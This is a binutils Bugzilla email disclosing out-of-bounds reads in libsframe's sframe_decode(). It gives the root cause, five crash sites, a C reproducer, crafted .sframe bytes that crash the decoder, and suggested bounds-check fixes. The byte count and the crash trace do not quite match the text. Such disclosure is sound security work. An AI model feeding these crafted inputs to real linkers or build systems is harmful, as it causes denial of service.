https://sourceware.org/bugzilla/show_bug.cgi?id=34273

            Bug ID: 34273
           Summary: Out-of-bounds reads in libsframe
           Product: binutils
           Version: unspecified
            Status: UNCONFIRMED
          Severity: minor
          Priority: P2
         Component: binutils
          Assignee: unassigned at sourceware dot org
          Reporter: luigino.camastra at aisle dot com
  Target Milestone: ---

Dear Binutils/GDB maintainers,

I am writing to report a security issue in **libsframe**
(`libsframe/sframe.c`), the library used to decode SFrame unwind metadata. The
bug was found by fuzzing the public API `sframe_decode()`.

## Summary

`sframe_decode()` uses header offset and length fields to index the
caller-supplied buffer without validating them against the buffer size
`sf_size`. A crafted `.sframe` section can trigger **out-of-bounds reads**
(crash / denial of service). In assertion-enabled builds, a crafted `fre_type`
can also reach `sframe_assert(0)` and **abort** the process.

We did **not** observe memory corruption or out-of-bounds writes; impact
appears limited to DoS.

- **Component:** `libsframe/sframe.c` (binutils-gdb)
- **Observed in:** `gdb-17_1-5_1` source tree (libsframe as shipped with that
release)
- **Type:** Out-of-bounds reads (CWE-125); optional abort via failed assertion
(CWE-617)
- **Severity (our assessment):** Medium — remote/network DoS is unlikely; local
DoS when linking untrusted objects is plausible

## Root cause

The only pre-read validation is `sframe_header_sanity_check_p()` (around line
206), which checks magic, version, flags, and `sfh_fdeoff <= sfh_freoff`. It
does **not** bound `sfh_fdeoff`, `sfh_freoff`, `sfh_fre_len`, or `sfh_num_fdes`
against `sf_size`.

Unchecked uses follow immediately, for example:

```c
fidx_size = sfheaderp->sfh_num_fdes * sizeof (sframe_func_desc_entry);
memcpy (dctx->sfd_funcdesc, frame_buf + sfheaderp->sfh_fdeoff, fidx_size);

memcpy (dctx->sfd_fres,
        frame_buf + sfheaderp->sfh_freoff,
        sfheaderp->sfh_fre_len);
```

Additionally, `fidx_size` is computed as a signed `int` and can overflow (e.g.
`num_fdes = 0x10000001`), producing a bogus allocation size before the OOB
`memcpy`.

## Reachability

In the tree we analyzed, the only caller of `sframe_decode()` is **bfd**, on
the **linker** path:

- `bfd/elf-sframe.c` — `_bfd_elf_parse_sframe()` passes the raw `.sframe`
section to `sframe_decode()`
- `bfd/elflink.c` — `bfd_elf_discard_info()` (linker `.sframe` merge/discard
pass)

**Practical attack surface:** `ld` and other tools that perform a bfd ELF link
merging `.sframe` input sections from attacker-controlled object files or
archives.

**gdb 17.1 executable:** not affected in our analysis — nothing under `gdb/`
calls `sframe_decode`, and gdb's bfd usage does not reach
`bfd_elf_discard_info`. Other binutils consumers (`readelf --sframe`,
`objdump`, etc.) may also call libsframe depending on build configuration.

## Crash sites (single underlying issue)

1. `sframe.c:985` — FRE `memcpy` with unbounded `sfh_freoff` / `sfh_fre_len`
2. `sframe.c:973` — FDE `memcpy` with unbounded `sfh_fdeoff`; integer overflow
on `fidx_size`
3. `sframe.c:443` — foreign-endian `flip_fre`: pointer advanced without bounds
check
4. `sframe.c:809` — OOB read via `sframe_decoder_get_fre()`
5. `sframe.c:278` — invalid `fre_type` → `sframe_assert(0)` → `abort()`
(assertion-enabled builds only)

## Proof-of-concept

Minimal reproducer calling the public API:

```c
#include <stdio.h>
#include <stdlib.h>
#include "sframe-api.h"

int main(int argc, char **argv) {
  FILE *f = fopen(argv[1], "rb");
  fseek(f, 0, SEEK_END); long n = ftell(f); fseek(f, 0, SEEK_SET);
  char *buf = malloc(n);
  fread(buf, 1, n, f); fclose(f);

  int err = 0;
  sframe_decoder_ctx *dctx = sframe_decode(buf, n, &err);
  if (dctx) sframe_decoder_free(&dctx);
  free(buf);
  return 0;
}
```

Build with AddressSanitizer against libsframe, then run a crafted input.
Example (46 bytes, FRE OOB — `freoff=55552`, `fre_len=13`):

```
e2 de 02 01 03 00 f8 00 01 00 00 00 04 00 00 00 0d 00 00 00 00 00 00 00 00 d9
00 00
```

```sh
printf
'\xe2\xde\x02\x01\x03\x00\xf8\x00\x01\x00\x00\x00\x04\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\xd9\x00\x00'
> crash_fre
./repro crash_fre
```

Confirmed locally (gcc 12, `-fsanitize=address`):

```
ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 20
    #1 sframe_decode  libsframe/sframe.c:973
located 0 bytes to the right of 28-byte region
```

Additional crash inputs (FDE OOB, foreign-endian flip path) are available on
request.

## Suggested fix

Before any read from `frame_buf`, validate all header extents against `sf_size`
using non-overflowing arithmetic, e.g.:

- `hdrsz + sfh_fdeoff + sfh_num_fdes * sizeof(sframe_func_desc_entry) <=
sf_size`
- `hdrsz + sfh_freoff + sfh_fre_len <= sf_size`

Also:

- Bound-check `fp` in `flip_sframe` / `flip_fre` before dereferencing
- Replace the `sframe_assert(0)` on parsed `fre_type` with a graceful
`SFRAME_ERR_*` return so untrusted input cannot abort regardless of `NDEBUG`

We have not verified whether upstream binutils already contains bounds-check
hardening for this code path; we would appreciate confirmation.

CREDIT: 
Best regards,  
Luigino Camastra Aisle Research

-- 
You are receiving this mail because:
You are on the CC list for the bug.

Reply via email to